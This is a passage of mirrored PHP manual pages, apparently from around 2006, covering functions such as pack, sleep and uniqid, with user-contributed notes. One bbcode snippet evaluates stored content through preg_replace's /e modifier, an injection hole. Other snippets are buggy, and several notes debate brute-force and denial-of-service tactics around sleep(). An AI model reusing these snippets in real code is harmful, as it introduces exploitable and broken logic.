//    defalut of '#666'
get_sourcecode_string($str, $return,  $counting, $start, $color);
?>
gaggge at gmail dot com
31-Jan-2005 12:26
This is a little function for highlighting bbcode-stylish PHP code from a mysql database.
(Like this: [php]<?php echo "test"; ?>[/php])

<?php
function bbcode($s)
{
   $s = str_replace("]\n", "]", $s);
   $match = array('#\[php\](.*?)\[\/php\]#se');
   $replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
   return preg_replace($match, $replace, $s);
}
?>
admin at bwongar dot com
06-Jan-2005 07:11
I didn't get the expected results from the other XHTML_highlight function, so I developed my own and it is much more efficient. The older one uses a preg_replace to replace the contents of the tag to within a span tag. The only preg_replace in my function pulls the color attribute, and puts it within a str_replace'd span tag.

<?php
function xhtml_highlight($str) {
   $str = highlight_string($str, true);
   $str = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $str);
   return preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
}

?>
manithu at fahr-zur-hoelle dot org
07-Nov-2004 03:10
This function will return highlighted, xhtml 1.1 valid code (replaces <font> with <span> elements and color with style attributes):

<?php

function xhtml_highlight($str) {
   $str = highlight_string($str, true);
   //replace <code><font color=""></font></code>
   $str = preg_replace('#<font color="([^\']*)">([^\']*)</font>#', '<span style="color: \\1">\\2</span>', $str);
   //replace other <font> elements
   return preg_replace('#<font color="([^\']*)">([^\']*)</font>#U', '<span style="color: \\1">\\2</span>', $str);
}

?>
mastah_br at yahoo dot com
12-Oct-2004 11:31
If you're looking for a more generic syntax highlighter, then you should see GeSHi Project, at http://qbnz.com/highlighter/
aidan at php dot net
26-Sep-2004 11:29
To add line numbers to source code, with optional function linking, use the below function:

http://aidan.dotgeek.org/lib/?file=function.highlight_file_linenum.php

A much more thorough and smarter, though slower version is here:

http://aidan.dotgeek.org/lib/?file=PHP_Highlight.php
add a note add a note

后退 | 起点 | 前进
highlight_file | 上一级 | ignore_user_abort


ignore_user_abort

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ignore_user_abort -- Set whether a client disconnect should abort script execution

Description

int ignore_user_abort ( [bool setting] )

This function sets whether a client disconnect should cause a script to be aborted. It will return the previous setting and can be called without an argument to not change the current setting and only return the current setting. See the Connection Handling section in the Features chapter for a complete description of connection handling in PHP.

See also connection_aborted(), and connection_status().

add a note add a note User Contributed Notes
15-Dec-2005 04:44
"It will return the previous setting" -- not quite. It returns an int, not a bool (as per the syntax description)
Rustam
27-Jun-2005 07:57
I wrote a simple function that can "spawn" another thread within the webserver by making async http request. The page that is being spawned can call ignore_user_abort() and do whatever it wants in the background...

<?php

   function http_spawn($page)
   {
       $basepath=ereg_replace('[^/]*$', '', $_SERVER['PHP_SELF']);
       $cbSock=fsockopen('localhost', $_SERVER['SERVER_PORT'], $errno, $errstr, 5);
       if ($cbSock)
       {
           fwrite($cbSock, "GET {$basepath}{$page} HTTP/1.0\r\n"
               ."Host: {$_SERVER['HTTP_HOST']}\r\n\r\n");
       }
   }
?>

Example:
<?php

   if ($search_initialized)
       http_spawn("ftindex.php");
?>
qartis at qartis dot com
06-Sep-2004 07:22
Note that the function name and description seem to be contradictory:

- ignore_user_abort  (TRUE, I want to ignore the user's abort request)
- Set whether a client disconnect should abort script execution (TRUE, I want to set this behavior)

The function name is the authoritative one: a value of TRUE will ignore the user's abort.
plamen at pulsator dot com
30-Mar-2001 01:21
The script should output something to the browser in order to abort. If there is no output the script keeps on running.
add a note add a note

后退 | 起点 | 前进
highlight_string | 上一级 | pack


pack

(PHP 3, PHP 4, PHP 5)

pack -- Pack data into binary string

Description

string pack ( string format [, mixed args [, mixed ...]] )

Pack given arguments into binary string according to format. Returns binary string containing data.

The idea to this function was taken from Perl and all formatting codes work the same as there, however, there are some formatting codes that are missing such as Perl's "u" format code. The format string consists of format codes followed by an optional repeater argument. The repeater argument can be either an integer value or * for repeating to the end of the input data. For a, A, h, H the repeat count specifies how many characters of one data argument are taken, for @ it is the absolute position where to put the next data, for everything else the repeat count specifies how many data arguments are consumed and packed into the resulting binary string. Currently implemented are

表格 1. pack() format characters

Code | Description
a | NUL-padded string
A | SPACE-padded string
h | Hex string, low nibble first
H | Hex string, high nibble first
c | signed char
C | unsigned char
s | signed short (always 16 bit, machine byte order)
S | unsigned short (always 16 bit, machine byte order)
n | unsigned short (always 16 bit, big endian byte order)
v | unsigned short (always 16 bit, little endian byte order)
i | signed integer (machine dependent size and byte order)
I | unsigned integer (machine dependent size and byte order)
l | signed long (always 32 bit, machine byte order)
L | unsigned long (always 32 bit, machine byte order)
N | unsigned long (always 32 bit, big endian byte order)
V | unsigned long (always 32 bit, little endian byte order)
f | float (machine dependent size and representation)
d | double (machine dependent size and representation)
x | NUL byte
X | Back up one byte
@ | NUL-fill to absolute position

例子 1. pack() example

<?php
$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);
?>

The resulting binary string will be 6 bytes long and contain the byte sequence 0x12, 0x34, 0x78, 0x56, 0x41, 0x42.

Note that the distinction between signed and unsigned values only affects the function unpack(), where as function pack() gives the same result for signed and unsigned format codes.

Also note that PHP internally stores integer values as signed values of a machine dependent size. If you give it an unsigned integer value too large to be stored that way it is converted to a float which often yields an undesired result.

See also unpack().

add a note add a note User Contributed Notes
Newdawn.dk
23-Mar-2006 08:25
When trying to create a ZIP file using the pack function - I experienced trouble with the "a" code - It converted all chars correct from the std. ASCII charset but not more language specific like .
It seems that ZIP files do not use the same HEX for these as everything else does.
The fix was a quick workaround but you'll probably get the picture:
function UniHex($str) {
   //
   //These are simply one HEX code being replaced by another to correct the issue
   $except = array("E6"=>"91","F8"=>"9B","E5"=>"86","C6"=>"92","D8"=>"9D",    "C5"=>"8F");
   for($i = 0; $i < strlen($str); $i++) {
       $hex = bin2hex(substr($str, $i, 1));
       if ($except[strtoupper($hex)])
           $hex = $except[strtoupper($hex)];
       $return .= $hex;
   }
   return $return;
}
And then i replaced an "a100" code with "H".strlen(uniHex($mystring))

This is like i said a quick workaround, but if you find the real reason for this i'd be happy to see it
j.s.hoekstra
14-Mar-2006 12:57
/* Convert float from HostOrder to Network Order */
function FToN( $val )
{
   $a = unpack("I",pack( "f",$val ));
   return pack("N",$a[1] );
}

/* Convert float from Network Order to HostOrder */
function NToF($val )
{
   $a = unpack("N",$val);
   $b = unpack("f",pack( "I",$a[1]));
   return $b[1];
}
Patrik Fimml
12-Oct-2005 01:42
You will get the same effect with

<?php
function _readInt($fp)
{
   return unpack('V', fread($fp, 4));
}
?>

or unpack('N', ...) for big-endianness.
20-Feb-2005 03:09
I needed to convert binary values from a file to integers.

Maybe there is something simpler, but the snippets i saw above seemed a little convoluted:

function bin2asc ($binary)
{
   $val = 0;

   for ($i = strlen($binary) - 1; $i >= 0; $i--) {
       $ch = substr($binary, $i, 1);
       $val = ($val << 8) | ord($ch);
   }

   return $val;
}

This was called like the following from a binary file:

function _readInt($fp)
{
   return bin2asc(fread($fp, 4));
}

Note that the for loop should be reversed for network byte order instead of intel byte order.  Also the conversion will work with any number of bytes, but will happily overflow.
zilinex at yahoo dot com
02-Sep-2004 02:12
a cool function to converrt numbers to Persian numbers(utf-8)
origin: http://www.farsiweb.info/jalali/jalali.phps

function farsinum($str)
{
  $ret = "";
  for ($i = 0; $i < strlen($str); ++$i) {
       $c = $str[$i];
       if( $c >= '0' && $c <= '9' )
               $out .= pack("C*", 0xDB, 0xB0 + $c);
       else
               $ret .= $c;
  }
  return $ret;
}
Jurgen Braam
03-Oct-2003 02:39
take note: if you produce binary files using PHP on multiple platforms, that you use one of the machine-independent pack options.

This means 's' 'S' 'i' 'I' 'd' and 'f' are _EVIL_ :) Took me some time to figure out what my Excel-generator what futzing about :) Turned out the production machine was a Sun Sparc. I develop on my own x86 Linux server.

Hope this helps anyone...
c-ya,
Jurgen
master at dreamphp dot com
02-Sep-2001 07:48
^-^ Simple version.

function bin2asc ($temp) {
  $len = strlen($temp);
  for ($i=0;$i<$len;$i+=8) $data.=chr(bindec(substr($temp,$i,8)));
  return $data;
}

function asc2bin ($temp) {
  $len = strlen($temp);
  for ($i=0; $i<$len; $i++) $data.=sprintf("%08b",ord(substr($temp,$i,1)));
  return $data;
}
mfisch[at]kaz[dot]com
11-Jul-2001 12:53
If you are trying to do ascii <--> binary conversions like me;
you probably found that unlike the perl pack functions, these wont help too much. Attached are two functions I wrote to accomplish this task.
<br>
function bin2asc ($binary)
{
  $i = 0;
  while ( strlen($binary) > 3 )
  {
   $byte[$i] = substr($binary, 0, 8);
   $byte[$i] = base_convert($byte[$i], 2, 10);
   $byte[$i] = chr($byte[$i]);
   $binary = substr($binary, 8);
   $ascii = "$ascii$byte[$i]";
  }
  return $ascii;
}
<br>
function asc2bin ($ascii)
{
  while ( strlen($ascii) > 0 )
  {
   $byte = ""; $i = 0;
   $byte = substr($ascii, 0, 1);
   while ( $byte != chr($i) ) { $i++; }
   $byte = base_convert($i, 10, 2);
   $byte = str_repeat("0", (8 - strlen($byte)) ) . $byte; # This is an endian (architexture) specific line, you may need to alter it.
   $ascii = substr($ascii, 1);
   $binary = "$binary$byte";
  }
  return $binary;
}
<br>
Im not sure these are the most efficient functions, but surely alot faster than loading up a perl interpreter for every binary conversion =)
plutus at gmx dot de
10-Aug-2000 07:14
Note that the the upper command in perl looks like this:<br>
$binarydata = pack ("n v c*", 0x1234, 0x5678, 65, 66);<br>
In PHP it seems that no whitespaces are allowed in the first parameter. So if you want to convert your pack command from perl -> PHP, don't forget to remove the whitespaces!
add a note add a note

后退 | 起点 | 前进
ignore_user_abort | 上一级 | php_check_syntax


php_check_syntax

(PHP 5 <= 5.0.4)

php_check_syntax -- Check the PHP syntax of (and execute) the specified file

说明

bool php_check_syntax ( string file_name [, string &error_message] )

For technical reasons, this function is deprecated and removed from PHP. Instead, use php -l somefile.php from the commandline.

The php_check_syntax() function performs a syntax (lint) check on the specified filename testing for scripting errors. This is similar to using php -l from the commandline except php_check_syntax() will execute (but not output) the checked file_name. For example, if a function is defined in file_name, this defined function will be available to the file that executed php_check_syntax(), but output from file_name will be suppressed.

参数

file_name

The name of the file being checked.

error_message

If the error_message parameter is used, it will contain the error message generated by the syntax check. error_message is passed by reference.

返回值

Returns TRUE if the lint check passed, and FALSE if the link check failed or if file_name cannot be opened.

更新日志

版本 | 说明
5.0.5 | This function was removed from PHP.
5.0.3 | Calling exit() after php_check_syntax() resulted in a Segfault.
5.0.1 | error_message is passed by reference.

范例

php -l somefile.php

上例的输出类似于：

PHP Parse error: unexpected T_STRING in /tmp/somefile.php on line 81

参见

include()
is_readable()

add a note add a note User Contributed Notes
phpdoc at michaeldouma dot com
16-Feb-2005 12:38
PROBLEM: Your page is blank, or you can not define any functions in an include.

As mentioned below, the php_check_syntax function will include your file. So you may not be able to include it again. If you have an include later in your code, and you define any functions, you will get an error, or in some cases a blank page.
add a note add a note

后退 | 起点 | 前进
pack | 上一级 | php_strip_whitespace


php_strip_whitespace

(PHP 5)

php_strip_whitespace -- Return source with stripped comments and whitespace

说明

string php_strip_whitespace ( string filename )

Returns the PHP source code in filename with PHP comments and whitespace removed. This may be useful for determining the amount of actual code in your scripts compared with the amount of comments. This is similar to using php -w from the commandline.

注: This function works as described as of PHP 5.0.1. Before this it would only return an empty string. For more information on this bug and its prior behavior, see bug report #29606.

返回值

The stripped source code will be returned on success, or an empty string on failure.

范例

例子 1. php_strip_whitespace() example

<?php
// PHP comment here

/*
* Another PHP comment
*/

echo        php_strip_whitespace(__FILE__);
// Newlines are considered whitespace, and are removed too:
do_nothing();
?>

上例将输出：

<?php
 echo php_strip_whitespace(__FILE__); do_nothing(); ?>

Notice the PHP comments are gone, as are the whitespace and newline after the first echo statement.

add a note add a note User Contributed Notes
mwwaygoo AT hotmail DOT com
28-Apr-2006 12:17
I thought this was a nice function until I realised it wouldnt strip down html. As i'd been reading an article on compressing output to speed up delivery.
So I wrote a little one to do that for me. Here its is, incase people were looking for a html version. It may need tweaking, like with existing &nbsp;'s.

<?php
function strip_html($data)
{
   // strip unecessary comments and characters from a webpages text
   // all line comments, multi-line comments \\r \\n \\t multi-spaces that make a script readable.
   // it also safeguards enquoted values and values within textareas, as these are required

   $data=preg_replace_callback("/>[^<]*<\\/textarea/i", "harden_characters", $data);
   $data=preg_replace_callback("/\\"[^"<>]+\\"/", "harden_characters", $data);

   $data=preg_replace("/(//.*n)/","",$data); // remove single line comments, like this, from // to \\n
   $data=preg_replace("/(t|r|n)/","",$data);  // remove new lines \\n, tabs and \\r
   $data=preg_replace("/(/*.**/)/","",$data);  // remove multi-line comments /* */
   $data=preg_replace("/(<![^>]*>)/","",$data);  // remove multi-line comments <!-- -->
   $data=preg_replace('/(\\s+)/', ' ',$data); // replace multi spaces with singles
   $data=preg_replace('/>\\s</', '><',$data);

   $data=preg_replace_callback("/"[^\\"<>]+"/", "unharden_characters", $data);
   $data=preg_replace_callback("/>[^<]*<\\/textarea/", "unharden_characters", $data);

   return $data;
}

function harden_characters($array)
{
   $safe=$array[0];
   $safe=preg_replace('/\\n/', "%0A", $safe);
   $safe=preg_replace('/\\t/', "%09", $safe);
   $safe=preg_replace('/\\s/', "&nbsp;", $safe);
   return $safe;
}
function unharden_characters($array)
{
   $safe=$array[0];
   $safe=preg_replace('/%0A/', "\\n", $safe);
   $safe=preg_replace('/%09/', "\\t", $safe);
   $safe=preg_replace('/&nbsp;/', " ", $safe);
   return $safe;
}
?>

The article code was similar to this, which shouldn't work as php_strip_whitespace takes a filename as input:-

<?php
// ob_start(); and output here
$data=ob_get_contents();
ob_end_clean();
if(strstr($_SERVER['HTTP_ACCEPT_ENCODING'],'gzip'))
{
   $data=gzencode(php_strip_whitespace($data),9);
   header('Content-Encoding: gzip');
}
echo $data;
?>
Cosmo
01-Apr-2006 07:27
With newlines stripped your HEREDOCs won't work.
dnc at seznam dot cz
22-Oct-2005 06:01
This function can not be used to strip comments outside <?php ... ?>

// this comment will not be removed
<?php
// this comment will be removed
?>
amedee at amedee dot be
09-Jul-2005 08:29
Not only can this be used for JavaScript files, but also for:

* Java source code
* CSS (Style Sheets)
* Any file with C-style comments.
add a note add a note

后退 | 起点 | 前进
php_check_syntax | 上一级 | show_source


show_source

(PHP 4, PHP 5)

show_source -- 别名 highlight_file()

说明

本函数是该函数的别名： highlight_file().

add a note add a note User Contributed Notes
Moslehi[atsign]Gmail[dot]com
17-Mar-2006 07:38
Simply locate a file that includes PHP codes and test it.

<?
show_source("page.php");
?>

Shows (Highlites) the PHP codes in "page.php" with syntax coloured codes.
Or see the source of page on a website as html :

<?
show_source("http://www.php.net/show_source");
?>

[Arash Moslehi]
add a note add a note

后退 | 起点 | 前进
php_strip_whitespace | 上一级 | sleep


sleep

(PHP 3, PHP 4, PHP 5)

sleep -- Delay execution

Description

int sleep ( int seconds )

The sleep() function delays program execution for the given number of seconds.

例子 1. sleep() example

<?php

// current time
echo date('h:i:s') . "\n";

// sleep for 10 seconds
sleep(10);

// wake up !
echo date('h:i:s') . "\n";

?>

This example will output (after 10 seconds)

05:31:23
05:31:33

See also usleep() and set_time_limit()

add a note add a note User Contributed Notes
anonymouse
15-May-2006 05:27
As I read everithing I think that it is easyest to limit new authentication requests to some number for some time. And delay new authentication attemts that are over the limit.
If you don't want user disruption, make it auth req per second per IP
arielCo
01-Mar-2006 12:38
The sleep(3) *nix manpage reads:

  DESCRIPTION
  sleep() makes the current process sleep until [seconds]
  seconds have elapsed or a signal arrives which is not
  ignored.

So, ANY incoming signal that has not been set with pcntl_signal() to SIG_IGN causes sleep() to return.

If you don't want this, maybe
<?php
  time_sleep_until(microtime(true) + $secs );
?>
will work, depending on CPU load.

  RETURN VALUE
  Zero if the requested time has elapsed, or the number of
  seconds left to sleep.

The return value is an integer, and (at least in 5.1.2) it is the round()ed remaining time.
Josh
09-Feb-2006 07:27
In regards to sleep being inconsistent, your benchmarks aren't accurate. You add overhead by bundling microtime() into your other function calls. I believe a more accurate benchmark could be obtained using this instead:

<?php
$t0 = microtime();
sleep(1);
$t1 = microtime();

// Make your comparisons here
?>

Granted I doubt that sleep() is accurate down to the nanosecond - the function call alone to retrieve the time will take time, and that amount of time may vary depending on the computer it is being run on, number of current processes and their priorities, etc. However, the above code will give you a more accurate representation.

-- Josh
warhog at warhog dot net
19-Dec-2005 05:24
on the note below.. that difference may also result out of the code used calculating your microtime-differences.. as your machine surely is a multi-tasking machine, this may have happened because of other processes on your machine.
justin at jennnixon dot com
24-Nov-2005 03:52
Sleep sometimes does not run for the EXACT amount of time specified.

<?php $st = array_sum (explode (' ', microtime ()));

sleep (1);

echo round ((array_sum (explode (' ',microtime ())) - $st), 7); ?>

On three trials, this returned
0.9998388
0.9999161
1.001672
25-Jul-2005 05:07
Regarding the use of sleep to discourage crackers, there is an alternative that could be used.  Derived from the "HTTP Digest Access Authentication" concept at http://www.faqs.org/rfcs/rfc2617.html under chapter "3 Digest Access Authentication Scheme".

For every time the login page is requested, have the server generate and remember a nonce and attach it to the login form.  When the form comes back with that nonce, check if the nonce received matches the one in memory.  If yes, continue the login process, otherwise reject the login attempt.  Throw away the nonce after one use.

Brute-force cracking won't be an option in this case, because the hacker/cracker must download the login page for every attempt to try a password.  And this will also neatly sidestep a possible weakness via the use of "sleep" to DoS attacks.
linus at flowingcreativity dot net
08-Jul-2005 11:07
This may seem obvious, but I thought I would save someone from something that just confused me: you cannot use sleep() to sleep for fractions of a second. This:

<?php sleep(0.25) ?>

will not work as expected. The 0.25 is cast to an integer, so this is equivalent to sleep(0). To sleep for a quarter of a second, use:

<?php usleep(250000) ?>
vmadman at gmail.com
03-Jul-2005 05:43
I think you guys are over thinking this.  It's always nice to code expecting the worse, but odds are, you will never have someone targetting you for exploits in your custom code.

They would rather find exploits in a nuke site so that they can do the most damage.

With that aside, an effective way to prevent brute force attacks would be to only allow a certain number of authentication attempts at once, regardless of the IP.

15 would be a safe number, and sleep(10).  Brute force attacks can only be successful under two conditions, 1) be able to process insanely fast, or 2) get really lucky and find an easy password.

When an authentication request starts, write a row to a mySQL table and delete it when you're done.  Also mysql_num_rows when you start the request.

Deny immediately if num_rows returns greater than 15, sleep 10 seconds if num_rows exceeds 10, and sleep 5 seconds no matter what.

This progressive security approach would not only be effective, but would baffle the cracker. (he cannot see your code and would not know what is going on)

But do not let anyone tell you any different.  If he decides to DoS you (ane he has the resources to pull it off).. there is nothing you can do to stop it outside of notifying your ISP.

-Luke
Breeze at Hotmail dot com
05-Jun-2005 03:51
I would consider adding
   a random sleep (2 to 5 sec),
       before checking the login-information,
   and an IP-based ban-list,
       making multithreaded attacks useless,
to be a good protection.
"[...] Fill[ing] the wire with datagrams [...]" may slow down, but won't block your server.
If a "very bad hacker" (tm) has the possibility to use hundreds of machines to attack your server he will surely bring down your system insignificantly if you're using a sleep() or not.

mit freundlichen Gren, (german for "Yours sincerely" :)
Breeze

PS: I'm german, so don't be bothered by my english. :)
tommiboy
11-May-2005 07:43
Two additions to my previous note:

1. You can of course *always* run a DoS on any server at any time. If you have a few hundred hijacked machines, then you can incapacitate even huge sites like amazon or worldpay who have really large resources, as has been done before. Unluckily, there is not much you can do against braindead crimials. Even if you block them on the IP layer, they can still fill the wire with datagrams  :(
However, sleep() makes an attack a lot cheaper. If the target uses for example sleep(5); then the attacker can safely assume that one request will keep one process running for 5 seconds.
So, only a few dozen requests (w/ dropped connections), will safely run you into "MaxClients" and you will not be able to accept legitimate requests any more. So what, increase "MaxClients" then, I hear you say? The attacker can do this for hours, but you can't...
10MB of memory for a server process is not a unreasonable assumption. If your web server has 2GB of RAM then it will start thrashing after starting 200 processes. A 32 bit machine is out of virtual memory after 400. That can be achieved using a 14.4k modem...

2. The <FilesMatch> rule in my example is flawed as it opens access to config files. By mere coincidence (due to another rule), it has been working fine for a year and a day on my machine, so I never noticed until now.
It is still a bad mistake. Use your login form's filename rather than "^.*$".
tommiboy
05-May-2005 10:33
Using sleep() to slow down intruders is a very bad idea since it keeps your httpd running.
If someone realizes that you are using sleep(), then he can very easily run a DoS on your server.

All he needs to do is run a few hundred threads sending login requests. Worse, he could even do this in a single thread as long as he sends requests more frequently than you return from sleep(). He can drop the connection, it doesnt matter while you sleep().
This attack is very cheap regarding bandwidth, cpu, and memory consumption. Contrarily, on your server, the number of httpd instances is limited, when your server reaches the hard limit, legitimate clients will be dropped. Also, a server instance consumes at least a few megabytes of memory, and fork()ing is not free, either.

A much better solution, in my opinion, is to auto-blacklist intruders after 5 or so wrong password challenges. Admitted... auto-blacklisting is somewhat awkward, too, for three reasons:
1. It requires a script to modify .htaccess files. Most people feel a pain in their groin when even thinking about this.
2. An attacker who realizes that you auto-blacklist could exploit the fact that http does not need a tcp connection and send single datagrams with spoofed source addresses, thus having you blacklist arbitrary ip addresses (big ouch).
3. Might blacklist innocent people (dynamic ip adress?? user is too stupid to enter pass??)

Problem 1 should not be a concern. If someone can insert arbitrary content through any of your scripts, then you have a major security hole elsewhere. Having .htaccess set to read-only won't help you in that case. This opinion may be objectionable, but for me, it is fine to have .htaccess modified by a script.

Problem 2 can be avoided by either using SSL (big performance ouch!) or by starting a session prior to the login form. Since PHP is nice enough to verify sessions against ip addresses, an attacker must know a valid session as well as the corresponding ip address to be able to spoof that address, hence he must at least receive one data packet, so the address cannot be spoofed quite so easily.

Problem 3 is eleminated by running a cron job that occasionally (like every 5 mins) deletes items from the blacklist.

There are several ways to do the blacklisting, this is one: prepend "SetEnvIf Remote_Addr $_SERVER['REMOTE_ADDR'] blacklist" to a .htaccess file that contains a
<FilesMatch "^.*$">
order deny,allow
deny from env=blacklist
</FilesMatch>
rule. Only denying the login form would of course be sufficient, too, but I see no reason not to deny all :)
This is rather primitive, but good enough for my needs and very efficient (better than mod_rewrite, and better than two dozen deny rules).
Another (crazy) idea would of course be to run httpd as root and call iptables from php, but you really need big bollocks to do that... :)
BrianKStein at gmail dot com
08-Mar-2005 07:11
In response to the posts below about security, you could set a MySQL or Text record using the IP address that was logging in and then the login script would ban anyone who didn't wait the full sleep time because their IP would be in a temporary ban list and their name would only be deleted from that by a command after the sleep command.

<?php

//This script gets called with login params

echo "One moment while we check your username and password. DO NOT press the back button on your browser.";

//Put the user's IP address in a text file or MySQL database

sleep(5); //5 seconds should be enough

//Delete the user's IP address used above

//Perform authentication method.

//Print some text using an if statement to notify the user whether they were right or wrong.

?>
MPHH
06-Jul-2003 03:33
Note: The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, etc. is not included when determining the maximum time that the script has been running.
cet [at] carlthompson [dot] net
25-Jun-2003 09:10
About using sleep() after an authentication failure:

While it is true that crackers can launch multiple concurrent attempts, the number of concurrent attempts is limited to your server's maximum number of concurrent requests.  As this number is usually miniscule in comparison to the numbers of attempts a cracker would probably need to brute force a password, sleep() _does_ in fact provide effective anti-cracking benefit.

Of course, a smart cracker could write his code to end the connection long before the sleep() is done, but that makes it a guessing game; how quickly can the connection be ended without accidently losing the successful connections the cracker wants?  This is not an easy question to answer for the cracker because all of those concurrent connection attempts can significantly slow down all of the responses, even successful ones.  Against this "smart" cracker there is going to be a limit; sleep(30) is probably going to be no more effective than sleep(5).  In the end, using sleep() makes the code neccessary to brute force a password much more complicated and that in itself will eliminate some would-be crackers.  For the others, it does slow them down somewhat.

So the short answer is that using sleep() after an authentication failure is _always_ better than not using sleep().

Best of all is to use sleep() after successful authentication too-- this would mean that the cracker _must_ wait the full sleep() period in every case and makes brute forcing a password require a very, very long time (years?).  This probably wouldn't even bother users that much as it would only happen once per login.
Jonesy (at) jonz dot net
16-Apr-2003 03:52
To add to Josh's observation: A hack to accomplish  the "slow-the-bastards-down" logic would be to flock a `cracker-control-file` going into the sleep operation.<br>
Crackers ain't the only ones that can use multi-threading tactics.
josh at NO chatgris SPAM dot com
28-Jan-2003 08:33
Contrary to previous posts, sleep provides not security whatsoever against crackers.  They can quite easily create a multithreaded program that will try 1000 passwords at a time effectively disabling your sleep pause, and sessions don't help as each a request can make itself look like a new session.  The only way to make this effective at all is to store the last time a user attempted to login in a database and onyl allow x tries per time period.
hartmut at six dot de
25-Aug-2000 09:38
it is a bad idea to use sleep() for delayed output effects as

1) you have to flush() output before you sleep

2) depending on your setup flush() will not work all the way to the browser as the web server might apply buffering of its own or the browser might not render output it thinks not to be complete

netscape for example will only display complete lines and will not show table parts until the </table> tag arrived

so use sleep if you have to wait  for events and don't want to burn  to much cycles, but don't use it for silly delayed output effects!
add a note add a note

后退 | 起点 | 前进
show_source | 上一级 | time_nanosleep


time_nanosleep

(PHP 5)

time_nanosleep -- Delay for a number of seconds and nanoseconds

说明

mixed time_nanosleep ( int seconds, int nanoseconds )

Delays program execution for the given number of seconds and nanoseconds.

seconds must be a positive integer, and nanoseconds must be a positive integer less than 1 billion.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

If the delay was interrupted by a signal, an associative array will be returned with the components:

  • seconds - number of seconds remaining in the delay

  • nanoseconds - number of nanoseconds remaining in the delay

参见

sleep(),
usleep(),
set_time_limit()

范例

例子 1. time_nanosleep() example

<?php
// Careful! This won't work as expected if an array is returned
if (time_nanosleep(0, 500000000)) {
    echo "Slept for half a second.\n";
}

// This is better:
if (time_nanosleep(0, 500000000) === true) {
    echo "Slept for half a second.\n";
}

// And this is the best:
$nano = time_nanosleep(2, 100000);

if ($nano === true) {
    echo "Slept for 2 seconds, 100 milliseconds.\n";
} elseif ($nano === false) {
    echo "Sleeping failed.\n";
} elseif (is_array($nano)) {
    $seconds = $nano['seconds'];
    $nanoseconds = $nano['nanoseconds'];
    echo "Interrupted by a signal.\n";
    echo "Time remaining: $seconds seconds, $nanoseconds nanoseconds.";
}
?>

注: 本函数未在 Windows 平台下实现。

add a note add a note User Contributed Notes
m at kufi dot net
14-Aug-2005 05:03
You should take into account, if you use the function replacement down here, the CPU will be in use of 99% for the time of execution...

(A little bit better in this situation is to let the 'full seconds' go by a normal sleep command (makes the thread sleep!, and uses minimum cpu))

<?php
   //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
   function timeWait($microtime)
   {
//optimizations added by me [start]
//sleep the full seconds
sleep(intval($microtime));
//set the microtime to only resleep the last part of the nanos
$microtime = $microtime - intval($microtime);
//optimizations added by me [end]

       $timeLimit = $microtime + array_sum(explode(" ",microtime()));
       while(array_sum(explode(" ",microtime())) < $timeLimit)
       {/*DO NOTHING*/}
       return(true);
   }

   //THIS IS HOW WE CAN USE IT
   echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
   timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
   echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
 ?>
tecnomaniac at ig dot com dot br
27-Jul-2005 06:04
This is an alternative function to sleep_nanosecond that you can use with PHP versions below PHP 5.0. It is not very accurate if we talk about nanoseconds but the results are satisfatory. Enjoy!

<?php
   //THIS IS THE FUNCTION WE ARE TALKIN ABOUT
   function timeWait($microtime)
   {
       $timeLimit = $microtime + array_sum(explode(" ",microtime()));
       while(array_sum(explode(" ",microtime())) < $timeLimit)
       {/*DO NOTHING*/}
       return(true);
   }

   //THIS IS HOW WE CAN USE IT
   echo "Process started at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.<br>";
   timeWait(5.5); //With this call the system will wait 5 seconds and a half. You can use either integer or float.
   echo "Process completed at " . date("H:i:s") . " and " . current(explode(" ",microtime())) . " nanoseconds.";
?>
add a note add a note

后退 | 起点 | 前进
sleep | 上一级 | time_sleep_until


time_sleep_until

(PHP 5 >= 5.1.0RC1)

time_sleep_until -- Make the script sleep until the specified time

说明

bool time_sleep_until ( float timestamp )

This function will make the script sleep until the specified timestamp. If the specified timestamp is in the past, time_sleep_until() will generate a E_WARNING and return FALSE.

注: 本函数未在 Windows 平台下实现。

参数

timestamp

The timestamp when the script should wake.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A time_sleep_until() example

<?php

//returns false and generates a warning
var_dump(time_sleep_until(time()-1));

// may only work on faster computers, will sleep up to 0.2 seconds
var_dump(time_sleep_until(time()+0.2));

?>

参见

sleep()
usleep()
time_nanosleep()

add a note add a note User Contributed Notes
ssnoyes at hotmail dot com
26-Nov-2005 03:58
Implementation for < 5.1 or Windows users

<?php
if (!function_exists('time_sleep_until')) {
   function time_sleep_until($future) {
       if ($future < time()) {
           trigger_error("Time in past", E_USER_WARNING);
           return false;
       }

       sleep($future - time());
       return true;
   }
}
?>
add a note add a note

后退 | 起点 | 前进
time_nanosleep | 上一级 | uniqid


uniqid

(PHP 3, PHP 4, PHP 5)

uniqid -- Generate a unique ID

Description

string uniqid ( [string prefix [, bool more_entropy]] )

uniqid() returns a prefixed unique identifier based on the current time in microseconds. prefix is optional but can be useful, for instance, if you generate identifiers simultaneously on several hosts that might happen to generate the identifier at the same microsecond. Up until PHP 4.3.1, prefix could only be a maximum of 114 characters long.

If the optional more_entropy parameter is TRUE, uniqid() will add additional entropy (using the combined linear congruential generator) at the end of the return value, which should make the results more unique.

With an empty prefix, the returned string will be 13 characters long. If more_entropy is TRUE, it will be 23 characters.

注: The prefix parameter became optional in PHP 5.

If you need a unique identifier or token and you intend to give out that token to the user via the network (i.e. session cookies), it is recommended that you use something along these lines:

<?php
// no prefix
$token = md5(uniqid());

// better, difficult to guess
$better_token = md5(uniqid(rand(), true));
?>

This will create a 32 character identifier (a 128 bit hex number) that is extremely difficult to predict.

add a note add a note User Contributed Notes
dholmes at cfdsoftware dot net
09-May-2006 11:26
